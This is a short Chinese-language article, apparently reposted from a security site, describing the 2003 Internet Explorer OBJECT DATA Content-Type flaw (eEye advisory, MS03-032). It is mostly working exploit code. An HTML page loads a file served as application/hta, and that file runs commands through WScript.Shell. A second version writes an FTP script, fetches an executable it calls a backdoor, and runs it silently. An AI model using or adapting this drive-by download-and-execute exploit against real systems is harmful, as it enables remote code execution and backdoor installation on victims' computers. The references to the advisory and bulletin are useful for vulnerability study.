eEye Digital Security在8月20号公布了这个漏洞,该漏洞是由于Html中的OBJECT的DATA标签引起的。对于DATA所标记的URL,IE会根据服务器返回的HTTP头中的Content-Type来处理数据,也就是说如果HTTP头中返回的是application/hta等。那么该文件就能够执行,而不管IE的安全级别多高。来看个例子,这里有两个文件。
--------------test.htm-----------------
<html>
<body>
This is a Test!
<object data="http://127.0.0.1/test.test"></object>
</body>
------------End of test.htm--------------
--------------test.test------------------
<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script language="VBScript">
wsh.Run("cmd.exe /k echo This is a test!")
</script>
</html>
------------End of test.test---------------
把test.test放在HTTP服务器的相应目录下,然后更改服务器的MIME映射为扩展名.test对应application/hta。用IE打开test.htm看看结果。我们可以更改test.test让它更有威力,可以让它先下载一个后门程序等,然后再运行它。看看这段代码。
---------------test.test---------------------
<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script LANGUAGE="VBScript">
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("FTP.txt",true)
tf.Write "get xxx.exe"&chr(13)&chr(10)
tf.Write "bye"
tf.Close
wsh.Run "ftp.exe -A -s:ftp.txt 127.0.0.1", 0 ,true
wsh.Run "xxx.exe"
window.close
</script>
</html>
--------------------end of test.test------------------------
参考资料:
http://www.eeye.com/html/Research/Advisories/AD20030820.html
http://www.microsoft.com/technet/security/bulletin/MS03-032.ASP
(出处:http://www.sheup.com)